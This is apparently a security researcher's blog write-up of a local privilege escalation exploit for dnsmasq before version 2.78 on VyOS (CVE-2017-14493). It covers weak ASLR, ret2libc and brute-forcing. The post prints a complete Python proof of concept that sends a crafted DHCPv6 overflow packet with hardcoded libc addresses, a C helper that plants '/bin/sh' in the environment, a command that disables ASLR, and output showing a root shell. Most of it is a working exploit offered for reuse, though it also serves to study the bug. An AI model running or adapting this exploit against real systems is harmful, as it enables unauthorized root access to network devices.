Local Privilege Escalation Exploit/POC for dnsmasq <v2.78 on VyoS

Situation

VyOS v1.1.7 ships with dnsmasq v2.55. Wait wait, let me back up. dnsmasq is a program that is run on an OS, in this case VyOS (a router OS if you're not familiar with it), and gives out dhcp leases. In the case of v2.55, it will only give a user ipv4 dhcp addresses, which gives a system administrator incentive to upgrade to something that'll support ipv6 (it is 2018 after all). Once they do, if they installed a version less than 2.78 (current is 2.80) they're boned. Anything below and including 2.78 is affected by CVE-2017-14493, a stack based buffer overflow. This exploit uhh, exploits that situation.

ASLR

I'm hand-waving ASLR a little bit for now. dnsmasq is typically run with some kind of program to restart it if it crashes (dhcp leases being important and all that). Let's check out the entropy:

[email protected]:/home/vyos/dnsmasq/src# ldd dnsmasq | grep libc
	libc.so.6 => /lib/libc.so.6 (0xb75d7000)
[email protected]:/home/vyos/dnsmasq/src# ldd dnsmasq | grep libc
	libc.so.6 => /lib/libc.so.6 (0xb75cf000)
[email protected]:/home/vyos/dnsmasq/src# ldd dnsmasq | grep libc
	libc.so.6 => /lib/libc.so.6 (0xb75ef000)
[email protected]:/home/vyos/dnsmasq/src# ldd dnsmasq | grep libc
	libc.so.6 => /lib/libc.so.6 (0xb75f1000)
[email protected]:/home/vyos/dnsmasq/src# ldd dnsmasq | grep libc
	libc.so.6 => /lib/libc.so.6 (0xb75bd000)
[email protected]:/home/vyos/dnsmasq/src# ldd dnsmasq | grep libc
	libc.so.6 => /lib/libc.so.6 (0xb75d8000)
[email protected]:/home/vyos/dnsmasq/src# ldd dnsmasq | grep libc
	libc.so.6 => /lib/libc.so.6 (0xb764f000)
[email protected]:/home/vyos/dnsmasq/src# ldd dnsmasq | grep libc
	libc.so.6 => /lib/libc.so.6 (0xb75f0000)
[email protected]:/home/vyos/dnsmasq/src# ldd dnsmasq | grep libc
	libc.so.6 => /lib/libc.so.6 (0xb7603000)
[email protected]:/home/vyos/dnsmasq/src# ldd dnsmasq | grep libc
	libc.so.6 => /lib/libc.so.6 (0xb7673000)
[email protected]:/home/vyos/dnsmasq/src# ldd dnsmasq | grep libc
	libc.so.6 => /lib/libc.so.6 (0xb75ad000)
[email protected]:/home/vyos/dnsmasq/src# ldd dnsmasq | grep libc
	libc.so.6 => /lib/libc.so.6 (0xb7678000)
[email protected]:/home/vyos/dnsmasq/src# ldd dnsmasq | grep libc
	libc.so.6 => /lib/libc.so.6 (0xb7645000)
[email protected]:/home/vyos/dnsmasq/src# ldd dnsmasq | grep libc
	libc.so.6 => /lib/libc.so.6 (0xb767b000)
[email protected]:/home/vyos/dnsmasq/src# ldd dnsmasq | grep libc
	libc.so.6 => /lib/libc.so.6 (0xb761c000)
[email protected]:/home/vyos/dnsmasq/src# ldd dnsmasq | grep libc
	libc.so.6 => /lib/libc.so.6 (0xb75c4000)
[email protected]:/home/vyos/dnsmasq/src# ldd dnsmasq | grep libc
	libc.so.6 => /lib/libc.so.6 (0xb75dc000)
[email protected]:/home/vyos/dnsmasq/src# ldd dnsmasq | grep libc
	libc.so.6 => /lib/libc.so.6 (0xb758c000)

The executable, when compiled with default options on VyOS does not have PIE enabled and this is run on an old version of Debian (VyOS is Debian-based) the the ASLR is weak. Look at the addresses above, let's just take the last 5:

0xb758c000
0xb75dc000
0xb75c4000
0xb761c000
0xb767b000

Hmm, not so great eh? There are 3 bytes nibbles that change which is enough to fuck up a brute force attack, but they don't change much. I'm talking about the nibbles at position 3, it's always either 5 or 6 (usually 5?) and then 1 byte that actually properly changes. tl;dr this is a great opportunity for a brute force attack. Combined with the fact that dnsmasq is usually run with something like sysctl makes this a good candidate for brute forcing. Not GREAT, the program still crashes, but point is - it's usually restarted and the entropy blows.

So let's pretend ASLR just isn't a problem right now and turn it off, safely knowing that we can just run our exploit a bunch of times and it'll work eventually. But yep, logging is gonna catch that ¯\(ツ)/¯.

So we boom the OS with: echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

Exploit Prevention

For you real exploit writers out there - this is probably uninteresting and crappily written frankly. I plan on improving this by open sourcing it and having people tear it apart (it won't be hard to).

Anyway, the first step here was to run checksec:

No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No	0		42	../dnsmasq/src/dnsmasq

OK, so no real protections except for NX. This looks like the perfect opportunity to set up a ret2libc attack

ret2libc

OK there are a lot of write-ups on ret2libc so let me skip to the juicy core. We need our stack to look like this:

ret2libcdiagram

This was blatantly and totally stolen from here, a great intro to ret2libc attacks: https://www.shellblade.net/docs/ret2libc.pdf

The point really being, we can't do our "typical" store shellcode on the stack, jump back to a return address (or noops) and have it run our shellcode. NX will fuck you up if so. However, libc, a linked library to pretty much anything must be executable. We therefore abuse this to, in this case, run system("/bin/sh"), a syscall from libc, and get a local shell. Essentially what we are doing above is similar to ROP, but not quite because we're not reting anywhere, we're just setting up the arguments and calling the system() function. However, it is ROP-adjacent. Because dnsmasq must be run as root, we get a root shell regardless of what account we run the exploit under. Cool huh?

Exploitation

OK ok, don't be impatient... here's the full exploit


#  POC Authors (Google):
#  Fermin J. Serna <[email protected]>
#  Felix Wilhelm <[email protected]>
#  Gabriel Campana <[email protected]>
#  Kevin Hamacher <[email protected]>
#  Gynvael Coldwind <[email protected]>
#  Ron Bowes - Xoogler :/

#  Exploit Author (Hyperion Gray):
#  Alejandro Caceres / @_hyp3ri0n

from struct import pack
import sys
import socket

def send_packet(data, host, port):
    print("[+] sending {} bytes to {}:{}".format(len(data), host, port))
    s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM, socket.IPPROTO_UDP)

    s.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, len(data))
    if s.sendto(data, (host, port)) != len(data):
        print("[!] Could not send (full) payload")
    s.close()

def u8(x):
    return pack("B", x)

def u16(x):
    return pack("!H", x)

def gen_option(option, data, length=None):
    if length is None:
        length = len(data)

    return b"".join([
        u16(option),
        u16(length),
        data
    ])

if __name__ == '__main__':

    rop_1_system  = b"\xc0\x27\xec\xb7" # 0xb7ec27c0
    rop_binsh = b"\x50\xf6\xff\xbf"  #0xbffff650
    rop_exit = b"\xc0\x27\xec\xb7"  #0xb75e5f10 0xb7ec27c0

    assert len(sys.argv) == 3, "{} <ip> <port>".format(sys.argv[0])
    pkg = b"".join([
        u8(12),                         # DHCP6RELAYFORW
        u16(0x0313), u8(0x37),          # transaction ID
        b"_" * (34 - 4),
        # Option 79 = OPTION6_CLIENT_MAC
        # Moves argument into char[DHCP_CHADDR_MAX], DHCP_CHADDR_MAX = 16
        gen_option(79, b"A"*54 + rop_1_system + rop_exit + rop_binsh),
    ])

    host, port = sys.argv[1:]
    send_packet(pkg, host, int(port))

I called this file bof-poc.py as I feel it's still somewhat in POC realm or perhaps crappy exploit realm. Cool, so it's actually reasonably short and to the point, there's only 3 memory addresses we really use. Here is another piece of code that comes in handy:

#include <stdlib.h>
#include <unistd.h>
int main(int argc, char **argv)
{
        char *ptr = getenv("EGG");
        if (ptr != NULL)
        {
                printf("Estimated address: %p\n", ptr);
                return 0;
        }
        printf("Setting up environment...\n");
        setenv("EGG", "\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/bin/sh", 1);
        execl("/bin/sh", (char *)NULL);
}

The above was adapted from I honestly don't remember where, so if you're the author please contact me so I can give you due credit. Anyway, the above places an environment variable astutely called EGG that looks like the following:

EGG=////////////////////////////////////////////////////////bin/sh

I named it very poorly as setup. The bunch of slashes are gonna come in handy when brute forcing ASLR, but they're mainly there because envs change slightly from one term to another and shit happens. So I placed 50 slashes before /bin/sh, I know there's some kind of hard limit on slashes in some OSes, but apparently it's more than 50. If you don't like this, you can always use the SHELL variable to pop yourself into /bin/bash. Anyway let's get to actual exploitation, here is the setup:

(1) One terminal open running dnsmasq
(2) Another terminal to run the exploit bof-poc.py and setup the env variable setup

Here is dnsmasq up and running:

dnsmasq: started, version 2.77 cachesize 150
dnsmasq: compile time options: IPv6 GNU-getopt no-DBus no-i18n no-IDN DHCP DHCPv6 no-Lua TFTP no-conntrack ipset auth no-DNSSEC loop-detect inotify
dnsmasq-dhcp: DHCPv6, IP range fd00::2 -- fd00::ff, lease time 1h
dnsmasq: reading /etc/resolv.conf
dnsmasq: using nameserver 192.168.47.1#53
dnsmasq: read /etc/hosts - 8 addresses

Then we hit it with the exploit, remembering to set up our environment first!

Setting up environment...
[email protected]:/home/vyos/dnsmasq/src# ./setup 
Estimated address: 0xbffff637

We fudge that address a bit since we know we have the / padding... and the relevant line of the exploit becomes:

rop_binsh = b"\x50\xf6\xff\xbf" #0xbffff650 which should put us somewhere near the middle of the /s. Anyway, environment set up let's fire away, notice this is running as the vyos (unprivileged) user:

[+] sending 104 bytes to ::1:547

And checking back in with our program:

dnsmasq: started, version 2.77 cachesize 150
dnsmasq: compile time options: IPv6 GNU-getopt no-DBus no-i18n no-IDN DHCP DHCPv6 no-Lua TFTP no-conntrack ipset auth no-DNSSEC loop-detect inotify
dnsmasq-dhcp: DHCPv6, IP range fd00::2 -- fd00::ff, lease time 1h
dnsmasq: reading /etc/resolv.conf
dnsmasq: using nameserver 192.168.47.1#53
dnsmasq: read /etc/hosts - 8 addresses
sh-4.1# whoami
root

And boom we're root.

Final Words

I know, I know, it's still pretty fugly and involves changing hard coded addresses potentially, but it'll work. If it was an MSF module it'd have a "low" probability. Anyway, I'm hoping to improve upon this work by releasing it out to everyone. I should note: I am not a low-level exploit writer, I've written exploits for web applications (my main focus) but am starting to get into low-level stuff. I would LOVE criticism, but please make it constructive and let me know how I can do things better! As time goes on this exploit/POC will continue to improve.

Thanks everyone and happy hacking.

  • _hyp3ri0n